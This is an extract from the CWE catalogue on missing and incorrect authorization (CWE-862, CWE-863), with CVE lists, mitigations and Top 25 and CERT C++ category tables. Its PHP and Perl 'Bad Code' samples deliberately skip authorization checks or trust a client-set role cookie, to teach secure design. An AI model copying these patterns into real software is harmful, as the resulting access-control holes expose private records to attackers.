Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

PHP Example: *Bad Code*

```
function runEmployeeQuery($dbName, $name){
  mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
  //Use a prepared statement to avoid CWE-89
  $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
  $preparedStatement->execute(array(':name' => $name));
  return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Perl Example: *Bad Code*

```
sub DisplayPrivateMessage {
  my($id) = @_;
  my $Message = LookupMessageObject($id);
  print "From: " . encodeHTML($Message->{from}) . "<br>\n";
  print "Subject: " . encodeHTML($Message->{subject}) . "\n";
```

```
  print "<hr>\n";
  print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
  ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.

Potential Mitigations

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [R.862.1] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [R.862.2].

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.862.5] and the OWASP ESAPI Access Control feature [R.862.4].

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

System Configuration
Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

CWE-863: Incorrect Authorization

Weakness ID: 863 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

PHP Example: *Bad Code*

```
$role = $_COOKIES['role'];
if (!$role) {
  $role = getRole('user');
  if ($role) {
    // save the cookie to send out in future responses
    setcookie("role", $role, time()+60*60*2);
  }
  else{
    ShowLoginScreen();
    die("\n");
  }
}
if ($role == 'Reader') {
  DisplayMedicalHistory($_POST['patient_ID']);
}
else{
```

```
  die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.

Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.

Potential Mitigations

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [R.863.1] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [R.863.2].

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.863.4] and the OWASP ESAPI Access Control feature [R.863.5].

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

System Configuration
Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. CWE-865: 2011 Top 25 - Risky Resource Management

Category ID: 865 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	900	30
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	900	234
ParentOf	B	131	Incorrect Calculation of Buffer Size	900	269
ParentOf	B	134	Use of Externally-Controlled Format String	900	277
ParentOf	B	190	Integer Overflow or Wraparound	900	361
ParentOf	B	494	Download of Code Without Integrity Check	900	837
ParentOf	B	676	Use of Potentially Dangerous Function	900	1046
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1331

CWE-866: 2011 Top 25 - Porous Defenses

Category ID: 866 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	250	Execution with Unnecessary Privileges	900	441
ParentOf	V	306	Missing Authentication for Critical Function	900	538
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	900	542
ParentOf	B	311	Missing Encryption of Sensitive Data	900	549
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	900	574

Nature	Type	ID	Name	V	Page
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	900	1124
ParentOf	B	759	Use of a One-Way Hash without a Salt	900	1156
ParentOf	B	798	Use of Hard-coded Credentials	900	1223
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	900	1243
ParentOf	C	862	Missing Authorization	900	1303
ParentOf	C	863	Incorrect Authorization	900	1308
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1331

CWE-867: 2011 Top 25 - Weaknesses On the Cusp

Category ID: 867 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	129	Improper Validation of Array Index	900	258
ParentOf	B	209	Information Exposure Through an Error Message	900	397
ParentOf	B	212	Improper Cross-boundary Removal of Sensitive Data	900	405
ParentOf	C	330	Use of Insufficiently Random Values	900	582
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	900	628
ParentOf	B	456	Missing Initialization of a Variable	900	772
ParentOf	B	476	NULL Pointer Dereference	900	800
ParentOf	B	681	Incorrect Conversion between Numeric Types	900	1060
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	900	1146
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	900	1178
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	900	1186
ParentOf	B	805	Buffer Access with Incorrect Length Value	900	1234
ParentOf	B	822	Untrusted Pointer Dereference	900	1254
ParentOf	B	825	Expired Pointer Dereference	900	1259
ParentOf	B	838	Inappropriate Encoding for Output Context	900	1281
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	900	1288
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1331

CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

View ID: 868 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**111**	out of	1006
Views	0	out of	33
Categories	16	out of	245
Weaknesses	93	out of	720
Compound_Elements	2	out of	8

View Audience

Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationships

HasMember	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	**868**	1320
HasMember	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	**868**	1321
HasMember	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	**868**	1321
HasMember	C	881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)	**868**	1322
HasMember	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	**868**	1322
HasMember	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	**868**	1322

Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE)

Category ID: 869 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*868*	*Weaknesses Addressed by the CERT C++ Secure Coding Standard*	***868***	*1314*

CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 870 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page

CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID: 872 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	20	Improper Input Validation	868	18
ParentOf	B	129	Improper Validation of Array Index	868	258
ParentOf	B	190	Integer Overflow or Wraparound	**868**	361
ParentOf	C	192	Integer Coercion Error	**868**	368
ParentOf	B	197	Numeric Truncation Error	**868**	381

CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)

Category ID: 874 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Arrays and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*119*	*Improper Restriction of Operations within the Bounds of a Memory Buffer*	*868*	*226*
ParentOf	B	*129*	*Improper Validation of Array Index*	***868***	*258*
ParentOf	V	*467*	*Use of sizeof() on a Pointer Type*	***868***	*786*
ParentOf	B	*469*	*Use of Pointer Subtraction to Determine Size*	***868***	*789*
ParentOf	C	*665*	*Improper Initialization*	*868*	*1029*
ParentOf	B	*805*	*Buffer Access with Incorrect Length Value*	***868***	*1234*
MemberOf	V	*868*	*Weaknesses Addressed by the CERT C++ Secure Coding Standard*	***868***	*1314*

References

CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)

Category ID: 875 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	*78*	*Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')*	***868***	*121*
ParentOf	B	*88*	*Argument Injection or Modification*	***868***	*155*
ParentOf	C	*119*	*Improper Restriction of Operations within the Bounds of a Memory Buffer*	*868*	*226*
ParentOf	B	*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***868***	*234*
ParentOf	B	*170*	*Improper Null Termination*	***868***	*328*
ParentOf	B	*193*	*Off-by-one Error*	***868***	*371*
ParentOf	B	*464*	*Addition of Data Structure Sentinel*	***868***	*783*
ParentOf	V	*686*	*Function Call With Incorrect Argument Type*	***868***	*1069*
ParentOf	C	*704*	*Incorrect Type Conversion or Cast*	***868***	*1107*
MemberOf	V	*868*	*Weaknesses Addressed by the CERT C++ Secure Coding Standard*	***868***	*1314*

CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM)

Category ID: 876 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*20*	*Improper Input Validation*	868	*18*
ParentOf	C	*119*	*Improper Restriction of Operations within the Bounds of a Memory Buffer*	**868**	*226*
ParentOf	B	*128*	*Wrap-around Error*	**868**	*256*
ParentOf	B	*131*	*Incorrect Calculation of Buffer Size*	**868**	*269*
ParentOf	B	*190*	*Integer Overflow or Wraparound*	868	*361*
ParentOf	B	*226*	*Sensitive Information Uncleared Before Release*	**868**	*417*
ParentOf	V	*244*	*Improper Clearing of Heap Memory Before Release ('Heap Inspection')*	**868**	*435*
ParentOf	B	*252*	*Unchecked Return Value*	**868**	*447*
ParentOf	B	*391*	*Unchecked Error Condition*	868	*677*
ParentOf	B	*404*	*Improper Resource Shutdown or Release*	**868**	*700*
ParentOf	V	*415*	*Double Free*	**868**	*718*
ParentOf	B	*416*	*Use After Free*	**868**	*720*
ParentOf	B	*476*	*NULL Pointer Dereference*	**868**	*800*
ParentOf	V	*528*	*Exposure of Core Dump File to an Unauthorized Control Sphere*	**868**	*872*
ParentOf	V	*590*	*Free of Memory not on the Heap*	**868**	*932*
ParentOf	V	*591*	*Sensitive Data Storage in Improperly Locked Memory*	**868**	*934*
ParentOf	C	*665*	*Improper Initialization*	**868**	*1029*
ParentOf	V	*687*	*Function Call With Incorrectly Specified Argument Value*	**868**	*1070*
ParentOf	CC	*690*	*Unchecked Return Value to NULL Pointer Dereference*	**868**	*1073*
ParentOf	C	*703*	*Improper Check or Handling of Exceptional Conditions*	868	*1105*
ParentOf	C	*754*	*Improper Check for Unusual or Exceptional Conditions*	868	*1146*
ParentOf	V	*762*	*Mismatched Memory Management Routines*	**868**	*1165*
ParentOf	B	*770*	*Allocation of Resources Without Limits or Throttling*	**868**	*1178*
ParentOf	B	*822*	*Untrusted Pointer Dereference*	**868**	*1254*
MemberOf	V	*868*	*Weaknesses Addressed by the CERT C++ Secure Coding Standard*	**868**	*1314*

CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO)

Category ID: 877 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*22*	*Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')*	**868**	*30*

Nature	Type	ID	Name	V	Page
ParentOf	V	37	Path Traversal: '/absolute/pathname/here'	868	67
ParentOf	V	38	Path Traversal: '\absolute\pathname\here'	868	68
ParentOf	V	39	Path Traversal: 'C:dirname'	868	70
ParentOf	B	41	Improper Resolution of Path Equivalence	868	73
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	868	91
ParentOf	V	62	UNIX Hard Link	868	96
ParentOf	V	64	Windows Shortcut Following (.LNK)	868	98
ParentOf	V	65	Windows Hard Link	868	100
ParentOf	V	67	Improper Handling of Windows Device Names	868	103
ParentOf	C	73	External Control of File Name or Path	868	108
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf	B	134	Use of Externally-Controlled Format String	868	277
ParentOf	B	241	Improper Handling of Unexpected Data Type	868	431
ParentOf	V	276	Incorrect Default Permissions	868	491
ParentOf	V	279	Incorrect Execution-Assigned Permissions	868	495
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	628
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	868	643
ParentOf	B	379	Creation of Temporary File in Directory with Incorrect Permissions	868	660
ParentOf	B	391	Unchecked Error Condition	868	677
ParentOf	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	868	698
ParentOf	B	404	Improper Resource Shutdown or Release	868	700
ParentOf	B	552	Files or Directories Accessible to External Parties	868	892
ParentOf	C	675	Duplicate Operations on Resource	868	1045
ParentOf	B	676	Use of Potentially Dangerous Function	868	1046
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	868	1124
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	868	1178
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1314

References

CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV)

Category ID: 878 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	121
ParentOf	B	88	Argument Injection or Modification	868	155
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf		426	Untrusted Search Path	868	731

Nature	Type	ID	Name	V	Page
ParentOf	B	462	Duplicate Key in Associative List (Alist)	868	780
ParentOf	C	705	Incorrect Control Flow Scoping	868	1108
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	868	1243
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1314

References

CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)

Category ID: 880 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	209	Information Exposure Through an Error Message	868	397
ParentOf	C	390	Detection of Error Condition Without Action	868	673
ParentOf	B	391	Unchecked Error Condition	868	677
ParentOf	V	460	Improper Cleanup on Thrown Exception	868	779
ParentOf	V	497	Exposure of System Data to an Unauthorized Control Sphere	868	842
ParentOf	B	544	Missing Standardized Error Handling Mechanism	868	886
ParentOf	C	703	Improper Check or Handling of Exceptional Conditions	868	1105
ParentOf	C	705	Incorrect Control Flow Scoping	868	1108
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	868	1146
ParentOf	C	755	Improper Handling of Exceptional Conditions	868	1153
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1314

CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 883 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	*14*	*Compiler Removal of Code to Clear Buffers*	***868***	*12*
ParentOf	C	*20*	*Improper Input Validation*	***868***	*18*
ParentOf	C	*116*	*Improper Encoding or Escaping of Output*	***868***	*217*
ParentOf	V	*176*	*Improper Handling of Unicode Encoding*	***868***	*339*
ParentOf	B	*327*	*Use of a Broken or Risky Cryptographic Algorithm*	***868***	*574*
ParentOf	C	*330*	*Use of Insufficiently Random Values*	***868***	*582*
ParentOf	B	*480*	*Use of Incorrect Operator*	*868*	*811*
ParentOf	V	*482*	*Comparing instead of Assigning*	***868***	*816*
ParentOf	V	*561*	*Dead Code*	***868***	*898*
ParentOf	V	*563*	*Assignment to Variable without Use ('Unused Variable')*	***868***	*901*
ParentOf	V	*570*	*Expression is Always False*	***868***	*908*
ParentOf	V	*571*	*Expression is Always True*	***868***	*911*
ParentOf	C	*697*	*Insufficient Comparison*	***868***	*1081*
ParentOf	C	*704*	*Incorrect Type Conversion or Cast*	*868*	*1107*
MemberOf	V	*868*	*Weaknesses Addressed by the CERT C++ Secure Coding Standard*	***868***	*1314*

CWE-884: CWE Cross-section

View ID: 884 *(View: Explicit Slice)* **Status:** Incomplete

Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

Relationships

Nature	Type	ID	Name	V	Page
HasMember	B	14	Compiler Removal of Code to Clear Buffers	**884**	12
HasMember	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	**884**	30
HasMember	B	23	Relative Path Traversal	**884**	40
HasMember	B	36	Absolute Path Traversal	**884**	64
HasMember	B	41	Improper Resolution of Path Equivalence	**884**	73
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	**884**	91
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	**884**	121
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	**884**	131
HasMember	B	88	Argument Injection or Modification	**884**	155
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	**884**	159

Nature	Type	ID	Name	V	Page
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	884	168
HasMember	C	94	Improper Control of Generation of Code ('Code Injection')	884	173
HasMember	B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	884	177
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	884	181
HasMember	B	99	Improper Control of Resource Identifiers ('Resource Injection')	884	190
HasMember	B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	884	211
HasMember	B	117	Improper Output Neutralization for Logs	884	223
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	884	234
HasMember	B	129	Improper Validation of Array Index	884	258
HasMember	B	131	Incorrect Calculation of Buffer Size	884	269
HasMember	B	134	Use of Externally-Controlled Format String	884	277
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	884	282
HasMember	B	170	Improper Null Termination	884	328
HasMember	V	173	Improper Handling of Alternate Encoding	884	335
HasMember	V	174	Double Decoding of the Same Data	884	336
HasMember	V	175	Improper Handling of Mixed Encoding	884	338
HasMember	B	179	Incorrect Behavior Order: Early Validation	884	345
HasMember	C	185	Incorrect Regular Expression	884	355
HasMember	B	190	Integer Overflow or Wraparound	884	361
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	884	367
HasMember	B	193	Off-by-one Error	884	371
HasMember	C	203	Information Exposure Through Discrepancy	884	390
HasMember	B	209	Information Exposure Through an Error Message	884	397
HasMember	B	212	Improper Cross-boundary Removal of Sensitive Data	884	405
HasMember	B	222	Truncation of Security-relevant Information	884	414
HasMember	B	223	Omission of Security-relevant Information	884	415
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	884	420
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	884	435
HasMember	B	248	Uncaught Exception	884	439
HasMember	C	250	Execution with Unnecessary Privileges	884	441
HasMember	B	252	Unchecked Return Value	884	447
HasMember	B	253	Incorrect Check of Function Return Value	884	452
HasMember	V	262	Not Using Password Aging	884	467
HasMember	B	263	Password Aging with Long Expiration	884	468
HasMember	B	266	Incorrect Privilege Assignment	884	472
HasMember	B	267	Privilege Defined With Unsafe Actions	884	474
HasMember	B	268	Privilege Chaining	884	476
HasMember	B	270	Privilege Context Switching Error	884	480
HasMember	C	271	Privilege Dropping / Lowering Errors	884	481
HasMember	B	273	Improper Check for Dropped Privileges	884	486
HasMember	B	283	Unverified Ownership	884	499
HasMember	B	290	Authentication Bypass by Spoofing	884	516
HasMember	B	294	Authentication Bypass by Capture-replay	884	521
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	884	525
HasMember	V	299	Improper Check for Certificate Revocation	884	530
HasMember	C	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	884	531

Nature	Type	ID	Name	V	Page
HasMember	V	301	Reflection Attack in an Authentication Protocol	884	533
HasMember	B	304	Missing Critical Step in Authentication	884	536
HasMember	V	306	Missing Authentication for Critical Function	884	538
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	884	542
HasMember	B	308	Use of Single-factor Authentication	884	545
HasMember	B	312	Cleartext Storage of Sensitive Information	884	555
HasMember	B	319	Cleartext Transmission of Sensitive Information	884	563
HasMember	B	322	Key Exchange without Entity Authentication	884	568
